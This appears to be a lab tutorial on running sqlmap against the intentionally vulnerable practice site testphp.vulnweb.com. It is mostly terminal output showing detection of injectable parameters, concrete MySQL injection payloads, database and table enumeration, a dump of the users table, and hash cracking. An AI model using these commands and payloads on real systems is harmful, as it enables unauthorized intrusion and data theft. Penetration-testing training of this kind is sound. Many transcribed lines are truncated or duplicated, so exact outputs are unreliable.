

Step -1 Purpose and Usage of SQLMap:

- SQLmap is an open-source tool that automatically finds and exploits SQL injection vulnerabilities.
- We can use it to test web applications for SQL injection vulnerabilities and gain access to a vulnerable database. SQLmap is a favourite tool among pen-testers for its ease of use and flexibility.

Step -2 Installation of SQLMap:

- SQLMap is written in Python and can be easily installed on most operating systems.
- You can install SQLMap by cloning its GitHub repository or by using package managers like apt (for Debian-based systems) or yum (for Red Hat-based systems).
- For example, on Debian-based systems, you can install SQLMap using the following command: **sudo apt-get install sqlmap**

Step -3 Identifying a Vulnerable Web Application:

- You can use intentionally vulnerable web applications like DVWA (Damn Vulnerable Web Application) or WebGoat for practicing SQL injection attacks.
- Install and set up DVWA on your local machine or use online platforms like OWASP Juice Shop.
- Example : www.testphp.vulnweb.com

Step -4 Performing a Basic SQL Injection Attack:

- Use SQLMap to perform a basic SQL injection attack against the chosen target.
- Example command: `sqlmap -u "http://target.com/page.php?id=1" --dbs`
- This command will identify the databases present in the target application by exploiting the SQL injection vulnerability.

Step-5

Process:

- **Syntax:** `sqlmap -u <website_link> --crawl=2`
- **Sqlmap** -u <http://testphp.vulnweb.com/> --crawl=2
- Enable automatic responses to yes/no questions during command execution by incorporating the `--batch` command.

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ sudo apt-get install sqlmap  
[sudo] password for kali:  
Reading package lists... Done  
Building dependency tree... Done  
Reading state information... Done  
sqlmap is already the newest version (1.8.2-1).  
sqlmap set to manually installed.  
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
  
(kali@kali)-[~]  
$ sqlmap "http://testphp.vulnweb.com/" --crawl=2 -batch  
Home {1.8.2#stable}  
https://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consal.  
It is the end user's responsibility to obey all applicable local, state and fede  
evelopers assume no liability and are not responsible for any misuse or damage caused  
ogram  
  
[*] starting @ 05:02:20 /2024-03-10/
```

```
kali@kali: ~  
File Actions Edit View Help  
[05:02:20] [INFO] starting crawler for target URL 'http://testphp.vulnweb.com/'  
[05:02:20] [INFO] searching for links with depth 1  
[05:02:21] [INFO] searching for links with depth 2  
please enter number of threads? [Enter for 1 (current)] 1  
[05:02:21] [WARNING] running in a single-thread mode. This could take a while  
[05:02:23] [INFO] 5/13 links visited (38%)  
got a 302 redirect to 'http://testphp.vulnweb.com/login.php'. Do you want to follow?  
do you want to normalize crawling results [Y/n] Y  
do you want to store crawling results to a temporary file for eventual further proces  
ther tools [y/N] N  
[05:02:27] [INFO] found a total of 5 targets  
[1/5] URL:  
GET http://testphp.vulnweb.com/hpp/?pp=12  
do you want to test this URL? [Y/n/q]  
> Y  
[05:02:27] [INFO] testing URL 'http://testphp.vulnweb.com/hpp/?pp=12'  
[05:02:27] [INFO] using '/home/kali/.local/share/sqlmap/output/results-03102024_0502a  
he CSV results file in multiple targets mode  
[05:02:27] [INFO] testing connection to the target URL  
[05:02:28] [INFO] checking if the target is protected by some kind of WAF/IPS  
[05:02:28] [INFO] testing if the target URL content is stable  
[05:02:29] [INFO] target URL content is stable  
[05:02:29] [INFO] testing if GET parameter 'pp' is dynamic  
[05:02:29] [INFO] GET parameter 'pp' appears to be dynamic  
[05:02:30] [WARNING] reflective value(s) found and filtering out  
[05:02:30] [INFO] heuristic (basic) test shows that GET parameter 'pp' might be injec
```

```
kali@kali: ~  
File Actions Edit View Help  
[05:03:00] [ERROR] all tested parameters do not appear to be injectable. Try to incre  
for '--level'/'--risk' options if you wish to perform more tests. As heuristic test t  
ositive you are strongly advised to continue on with the tests. If you suspect that t  
e kind of protection mechanism involved (e.g. WAF) maybe you could try to use option  
(e.g. '--tamper=space2comment') and/or switch '--random-agent', skipping to the next  
[2/5] URL:  
GET http://testphp.vulnweb.com/artists.php?artist=1  
do you want to test this URL? [Y/n/q]  
> Y  
[05:03:00] [INFO] testing URL 'http://testphp.vulnweb.com/artists.php?artist=1'  
[05:03:00] [INFO] testing connection to the target URL  
[05:03:00] [INFO] checking if the target is protected by some kind of WAF/IPS  
[05:03:01] [INFO] testing if the target URL content is stable  
[05:03:01] [INFO] target URL content is stable  
[05:03:01] [INFO] testing if GET parameter 'artist' is dynamic  
[05:03:02] [INFO] GET parameter 'artist' appears to be dynamic  
[05:03:02] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be i  
possible DBMS: 'MySQL')  
[05:03:02] [INFO] testing for SQL injection on GET parameter 'artist'  
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specifi  
DBMSes? [Y/n] Y  
for the remaining tests, do you want to include all tests for 'MySQL' extending provi  
1) and risk (1) values? [Y/n] Y  
[05:03:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'  
[05:03:04] [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHE  
G clause' injectable (with --string="sem")
```

```
kali@kali: ~  
File Actions Edit View Help  
[05:03:04] [INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY or  
ause (BIGINT UNSIGNED)'  
[05:03:05] [INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE or HAVING clause (BIGI  
)'  
[05:03:05] [INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY or  
ause (EXP)'  
[05:03:05] [INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE or HAVING clause (EXP)  
[05:03:06] [INFO] testing 'MySQL ≥ 5.6 AND error-based - WHERE, HAVING, ORDER BY or  
ause (GTID_SUBSET)'  
[05:03:06] [INFO] testing 'MySQL ≥ 5.6 OR error-based - WHERE or HAVING clause (GTID  
[05:03:06] [INFO] testing 'MySQL ≥ 5.7.8 AND error-based - WHERE, HAVING, ORDER BY o  
clause (JSON_KEYS)'  
[05:03:08] [INFO] testing 'MySQL ≥ 5.7.8 OR error-based - WHERE or HAVING clause (JS  
[05:03:08] [INFO] testing 'MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
ause (FLOOR)'  
[05:03:09] [INFO] testing 'MySQL ≥ 5.0 OR error-based - WHERE, HAVING, ORDER BY or G  
use (FLOOR)'  
[05:03:09] [INFO] testing 'MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or  
ause (EXTRACTVALUE)'  
[05:03:12] [INFO] testing 'MySQL ≥ 5.1 OR error-based - WHERE, HAVING, ORDER BY or G  
use (EXTRACTVALUE)'  
[05:03:12] [INFO] testing 'MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or  
ause (UPDATERXML)'  
[05:03:13] [INFO] testing 'MySQL ≥ 5.1 OR error-based - WHERE, HAVING, ORDER BY or G  
use (UPDATERXML)'  
[05:03:13] [INFO] testing 'MySQL ≥ 4.1 AND error-based - WHERE, HAVING, ORDER BY or
```



```
kali@kali: ~  
File Actions Edit View Help  
SQL injection vulnerability has already been detected against 'testphp.vulnweb.com'.  
to skip further tests involving it? [Y/n] Y  
[05:03:42] [INFO] skipping 'http://testphp.vulnweb.com/comment.php?aid=1'  
[05:03:42] [INFO] skipping 'http://testphp.vulnweb.com/showimage.php?file='  
[05:03:42] [INFO] skipping 'http://testphp.vulnweb.com/listproducts.php?cat=1'  
[05:03:42] [INFO] you can find results of scanning in multiple targets mode inside th  
'/home/kali/.local/share/sqlmap/output/results-03102024_0502am.csv'  
  
[*] ending @ 05:03:42 /2024-03-10/  
  
(kali@kali)-[~]  
$ cat '/home/kali/.local/share/sqlmap/output/results-03032024_0859am.csv'  
cat: /home/kali/.local/share/sqlmap/output/results-03032024_0859am.csv: No such file  
y  
  
(kali@kali)-[~]  
$ cat '/home/kali/.local/share/sqlmap/output/results-03102024_0502am.csv'  
Target URL,Place,Parameter,Technique(s),Note(s)  
http://testphp.vulnweb.com/artists.php?artist=1,GET,artist,BTU,  
  
(kali@kali)-[~]  
$ sqlmap http://testphp.vulnweb.com/listproducts.php?cat=1 -dbs  
  
H  
[ ] {1.8.2#stable}
```

```
kali@kali: ~  
File Actions Edit View Help  
H  
[ ] {1.8.2#stable}  
[ ] IV... https://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons  
gal. It is the end user's responsibility to obey all applicable local, state  
developers assume no liability and are not responsible for any misuse or damage caused  
ogram  
  
[*] starting @ 05:07:12 /2024-03-10/  
  
[05:07:12] [INFO] testing connection to the target URL  
[05:07:13] [INFO] checking if the target is protected by some kind of WAF/IPS  
[05:07:13] [INFO] testing if the target URL content is stable  
[05:07:13] [INFO] target URL content is stable  
[05:07:13] [INFO] testing if GET parameter 'cat' is dynamic  
[05:07:14] [INFO] GET parameter 'cat' appears to be dynamic  
[05:07:14] [INFO] heuristic (basic) test shows that GET parameter 'cat' might be inje  
sible DBMS: 'MySQL'  
[05:07:15] [INFO] heuristic (XSS) test shows that GET parameter 'cat' might be vulner  
ss-site scripting (XSS) attacks  
[05:07:15] [INFO] testing for SQL injection on GET parameter 'cat'  
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specifi  
DBMSes? [Y/n] y
```

```
kali@kali: ~  
File Actions Edit View Help  
[05:07:52] [INFO] GET parameter 'cat' appears to be 'MySQL ≥ 5.0.12 AND time-based blind SLEEP()' injectable  
[05:07:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'  
[05:07:52] [INFO] automatically extending ranges for UNION query injection technique here is at least one other (potential) technique found  
[05:07:53] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time to find the right number of query columns. Automatically extending the range for current query injection technique test  
[05:07:55] [INFO] target URL appears to have 11 columns in query  
[05:07:56] [INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable  
GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [Y/n]  
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) request  
Parameter: cat (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: cat=1 AND 1914=1914  
Type: error-based  
Title: MySQL ≥ 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (MySQL ≥ 5.7.7 AND error-based)  
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x717a7a6271,(SELECT (ELT(1062=1062,1))),0x1062),1062)  
Type: time-based blind  
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)  
Payload: cat=1 AND (SELECT 1914 FROM (SELECT(SLEEP(5)))NVOL)
```

```
kali@kali: ~  
File Actions Edit View Help  
Type: time-based blind  
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)  
Payload: cat=1 AND (SELECT 1914 FROM (SELECT(SLEEP(5)))NVOL)  
Type: UNION query  
Title: Generic UNION query (NULL) - 11 columns  
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a7a6271,(SELECT (ELT(1062=1062,1))),0x1062),NULL--  
[05:08:00] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu  
web application technology: Nginx 1.19.0, PHP 5.6.40  
back-end DBMS: MySQL ≥ 5.6  
[05:08:03] [INFO] fetching database names  
available databases [2]:  
[*] acuart  
[*] information_schema  
[05:08:03] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'
```

```
kali@kali: ~  
File Actions Edit View Help  
[*] ending @ 05:08:03 /2024-03-10/  
  
(kali@kali)-[~]  
$  
  
(kali@kali)-[~]  
$ sqlmap http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart  
  
{1.8.2#stable}  
https://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons gal. It is the end user's responsibility to obey all applicable local, state and fede  
velopers assume no liability and are not responsible for any misuse or damage caused  
ogram  
  
[*] starting @ 05:08:21 /2024-03-10/  
  
[05:08:21] [INFO] resuming back-end DBMS 'mysql'  
[05:08:22] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
—
```

```
kali@kali: ~  
File Actions Edit View Help  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: cat=1 AND 1914=1914  
  
Type: error-based  
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER  
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x717a7a6271,(SELECT  
,1062))  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: cat=1 AND (SELECT 1914 FROM (SELECT(SLEEP(5)))NVou)  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 11 columns  
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONC  
6271,0x5a577858454d52717648574c664d49784b726d4948645069494969645248464a69454a5046  
7071),NULL--  
  
[05:08:40] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu  
web application technology: Nginx 1.19.0, PHP 5.6.40  
back-end DBMS: MySQL >= 5.6  
[05:08:40] [INFO] fetched data logged to text files under '/home/kali/.local/share/sq  
/testphp.vulnweb.com'
```


```
kali@kali: ~  
File Actions Edit View Help  
[05:08:40] [INFO] fetched data logged to text files under '/home/kali/.local/share/sq  
/testphp.vulnweb.com'  
  
[*] ending @ 05:08:40 /2024-03-10/  
  
(kali@kali)-[~]  
$ sqlmap http://testphp.vulnweb.com/listproducts.php?cat=1 -tables  
  
{1.8.2#stable}  
https://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons gal. It is the end user's responsibility to obey all applicable local, state and fede  
velopers assume no liability and are not responsible for any misuse or damage caused  
ogram  
  
[*] starting @ 05:09:07 /2024-03-10/  
  
[05:09:07] [INFO] resuming back-end DBMS 'mysql'  
[05:09:07] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
—
```




```
kali@kali: ~  
File Actions Edit View Help  
[05:09:08] [INFO] fetching database names  
[05:09:08] [INFO] fetching tables for databases: 'acuart, information_schema'  
Database: acuart  
[8 tables]  
+-----+  
| artists  
| carts  
| categ  
| featured  
| guestbook  
| pictures  
| products  
| users  
+-----+  
Database: information_schema  
[79 tables]  
+-----+  
| ADMINISTRABLE_ROLE_AUTHORIZATIONS  
| APPLICABLE_ROLES  
| CHARACTER_SETS  
| CHECK_CONSTRAINTS  
| COLLATIONS  
| COLLATION_CHARACTER_SET_APPLICABILITY  
| COLUMNS_EXTENSIONS  
| COLUMN_PRIVILEGES
```

```
kali@kali: ~  
File Actions Edit View Help  
| COLUMNS_EXTENSIONS  
| COLUMN_PRIVILEGES  
| COLUMN_STATISTICS  
| ENABLED_ROLES  
| FILES  
| INNODB_BUFFER_PAGE  
| INNODB_BUFFER_PAGE_LRU  
| INNODB_BUFFER_POOL_STATS  
| INNODB_CACHED_INDEXES  
| INNODB_CMP  
| INNODB_CMPMEM  
| INNODB_CMPMEM_RESET  
| INNODB_CMP_PER_INDEX  
| INNODB_CMP_PER_INDEX_RESET  
| INNODB_CMP_RESET  
| INNODB_COLUMNS  
| INNODB_DATAFILES  
| INNODB_FIELDS  
| INNODB_FOREIGN  
| INNODB_FOREIGN_COLS  
| INNODB_FT_BEING_DELETED  
| INNODB_FT_CONFIG  
| INNODB_FT_DEFAULT_STOPWORD  
| INNODB_FT_DELETED  
| INNODB_FT_INDEX_CACHE  
| INNODB_FT_INDEX_TABLE
```

```
kali@kali: ~  
File Actions Edit View Help  
| ST_GEOMETRY_COLUMNS  
| ST_SPATIAL_REFERENCE_SYSTEMS  
| ST_UNITS_OF_MEASURE  
| TABLESPACES  
| TABLESPACES_EXTENSIONS  
| TABLE_EXTENSIONS  
| TABLE_CONSTRAINTS  
| TABLE_CONSTRAINTS_EXTENSIONS  
| TABLE_PRIVILEGES  
| USER_ATTRIBUTES  
| USER_PRIVILEGES  
| VIEWS  
| VIEW_ROUTINE_USAGE  
| VIEW_TABLE_USAGE  
| COLUMNS  
| ENGINES  
| EVENTS  
| PARTITIONS  
| PLUGINS  
| PROCESSLIST  
| TABLES  
| TRIGGERS  
+-----+  
[05:09:08] [INFO] fetched data logged to text files under '/home/kali/.local/share/sq  
/testphp.vulnweb.com'
```

```
kali@kali: ~  
File Actions Edit View Help  
[05:09:08] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/testphp.vulnweb.com'  
[*] ending @ 05:09:08 /2024-03-10/  
  
(kali@kali)-[~]  
$ sqlmap http://testphp.vulnweb.com/listproducts.php?cat=1 --current-user  
me  
 {1.8.2#stable}  
https://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons gal. It is the end user's responsibility to obey all applicable local, state and fede  
evelopers assume no liability and are not responsible for any misuse or damage caused  
ogram  
  
[*] starting @ 05:09:19 /2024-03-10/  
  
[05:09:19] [INFO] resuming back-end DBMS 'mysql'  
[05:09:19] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:
```

```
kali@kali: ~  
File Actions Edit View Help  
[05:09:19] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
  
Parameter: cat (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: cat=1 AND 1914=1914  
  
Type: error-based  
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause  
T) Payload: cat=1 AND GTID_SUBSET(CONCAT(0x717a7a6271,(SELECT ,1062)  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: cat=1 AND (SELECT 1914 FROM (SELECT(SLEEP(5)))NVouU)  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 11 columns  
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONC  
6271,0x5a577858454d524d52717648574c664d49784b726d4948645069494969645248464a69454a5046  
7071),NULL-- --  
  
[05:09:25] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu
```

```
kali@kali: ~  
File Actions Edit View Help  
back-end DBMS: MySQL >= 5.6  
[05:09:25] [INFO] fetching current user  
current user: 'acuart@localhost'  
[05:09:26] [INFO] fetching current database  
current database: 'acuart'  
[05:09:26] [INFO] fetching server hostname  
hostname: 'ip-10-0-0-222'  
[05:09:26] [INFO] fetched data logged to text files under '/home/kali/.local/share/sq  
/testphp.vulnweb.com'  
[*] ending @ 05:09:26 /2024-03-10/  
  
(kali@kali)-[~]  
$ sqlmap http://testphp.vulnweb.com/listproducts.php?cat=1 --tables --dump-sqlmap  
 {1.8.2#stable}  
https://sqlmap.org  
  
Usage: python3 sqlmap [options]  
sqlmap: error: no such option: --dumpsqmap
```



```
kali@kali: ~  
File Actions Edit View Help  
[05:10:17] [INFO] fetching tables for databases: 'acuart, information_schema'  
Database: acuart  
[8 tables]  
+-----+  
| artists  
| carts  
| categ  
| featured  
| guestbook  
| pictures  
| products  
| users  
+-----+  
Database: information_schema  
[79 tables]  
+-----+  
| ADMINISTRABLE_ROLE_AUTHORIZATIONS  
| APPLICABLE_ROLES  
| CHARACTER_SETS  
| CHECK_CONSTRAINTS  
| COLLATIONS  
| COLLATION_CHARACTER_SET_APPLICABILITY  
| COLUMNS_EXTENSIONS  
| COLUMN_PRIVILEGES  
| COLUMN_STATISTICS  
+-----+
```

```
kali@kali: ~  
File Actions Edit View Help  
[05:10:17] [INFO] fetching tables for databases: 'acuart, information_schema'  
Database: acuart  
[8 tables]  
+-----+  
| artists  
| carts  
| categ  
| featured  
| guestbook  
| pictures  
| products  
| users  
+-----+  
Database: information_schema  
[79 tables]  
+-----+  
| ADMINISTRABLE_ROLE_AUTHORIZATIONS  
| APPLICABLE_ROLES  
| CHARACTER_SETS  
| CHECK_CONSTRAINTS  
| COLLATIONS  
| COLLATION_CHARACTER_SET_APPLICABILITY  
| COLUMNS_EXTENSIONS  
| COLUMN_PRIVILEGES  
| COLUMN_STATISTICS  
+-----+
```

```
kali@kali: ~  
File Actions Edit View Help  
[05:10:22] [INFO] fetching entries for table 'users' in database 'acuart'  
[05:10:23] [INFO] recognized possible password hashes in column 'cart'  
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y  
[05:10:29] [INFO] writing hashes to a temporary file '/tmp/sqlmappathv2b6725922/sqlmappathes-9qt_kj5o.txt'  
do you want to crack them via a dictionary-based attack? [Y/n/q] y  
[05:10:37] [INFO] using hash method 'md5_generic_passwd'  
what dictionary do you want to use?  
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)  
[2] custom dictionary file  
[3] file with list of dictionary files  
> 1  
[05:10:38] [INFO] using default dictionary  
do you want to use common password suffixes? (slow!) [y/N] y  
[05:10:40] [INFO] starting dictionary-based cracking (md5_generic_passwd)  
[05:10:40] [INFO] starting 2 processes  
[05:10:52] [INFO] using suffix '1'  
[05:11:04] [INFO] using suffix '123'  
[05:11:16] [INFO] using suffix '2'  
[05:11:27] [INFO] using suffix '12'  
[05:11:39] [INFO] using suffix '3'  
[05:11:50] [INFO] using suffix '13'  
[05:12:01] [INFO] using suffix '7'  
[05:12:12] [INFO] using suffix '11'
```

```
kali@kali: ~  
File Actions Edit View Help  
[05:13:07] [INFO] using suffix '4'  
[05:13:18] [INFO] using suffix '07'  
[05:13:29] [INFO] using suffix '21'  
[05:13:41] [INFO] using suffix '14'  
[05:13:52] [INFO] using suffix '10'  
[05:14:04] [INFO] using suffix '06'  
[05:14:15] [INFO] using suffix '08'  
[05:14:26] [INFO] using suffix '8'  
[05:14:37] [INFO] using suffix '15'  
[05:14:48] [INFO] using suffix '69'  
[05:14:59] [INFO] using suffix '16'  
[05:15:10] [INFO] using suffix '6'  
[05:15:22] [INFO] using suffix '18'  
[05:15:33] [INFO] using suffix '!'  
[05:15:44] [INFO] using suffix '.'  
[05:15:55] [INFO] using suffix '*'  
[05:16:06] [INFO] using suffix '!!'  
[05:16:17] [INFO] using suffix '?'  
[05:16:29] [INFO] using suffix ';'   
[05:16:40] [INFO] using suffix '..'  
[05:16:51] [INFO] using suffix '!!!'  
[05:17:02] [INFO] using suffix ','  
[05:17:13] [INFO] using suffix '@'  
[05:17:24] [WARNING] no clear password(s) found  
Database: acuart  
Table: users
```

```
kali@kali: ~  
File Actions Edit View Help  
Database: acuart  
Table: users  
[1 entry]  
+-----+-----+-----+-----+-----+-----+  
| cc      | uname | name | cart      | address | pass |  
+-----+-----+-----+-----+-----+-----+  
| 1234-5678-2300-900 | 2014b93b6ae21394bd0ca21359e5d221 | test | shihas@email.com | 2  
32334 | test | shihas | Halal street bumbai |  
+-----+-----+-----+-----+-----+-----+  
[05:17:24] [INFO] table 'acuart.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'  
[05:17:24] [INFO] fetching columns for table 'featured' in database 'acuart'  
[05:17:24] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)  
[05:17:25] [INFO] fetching entries for table 'featured' in database 'acuart'  
[05:17:26] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique  
[05:17:27] [INFO] fetching number of entries for table 'featured' in database 'acuart'  
[05:17:27] [WARNING] running in a single-thread mode. Please consider usage of option
```

```
kali@kali: ~  
File Actions Edit View Help  
Database: acuart  
Table: users  
[1 entry]  
+-----+-----+-----+-----+-----+-----+  
| cc      | uname | name | cart      | address | pass |  
+-----+-----+-----+-----+-----+-----+  
| 1234-5678-2300-900 | 2014b93b6ae21394bd0ca21359e5d221 | test | shihas@email.com | 2  
32334 | test | shihas | Halal street bumbai |  
+-----+-----+-----+-----+-----+-----+  
[05:17:24] [INFO] table 'acuart.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'  
[05:17:24] [INFO] fetching columns for table 'featured' in database 'acuart'  
[05:17:24] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)  
[05:17:25] [INFO] fetching entries for table 'featured' in database 'acuart'  
[05:17:26] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique  
[05:17:27] [INFO] fetching number of entries for table 'featured' in database 'acuart'  
[05:17:27] [WARNING] running in a single-thread mode. Please consider usage of option
```

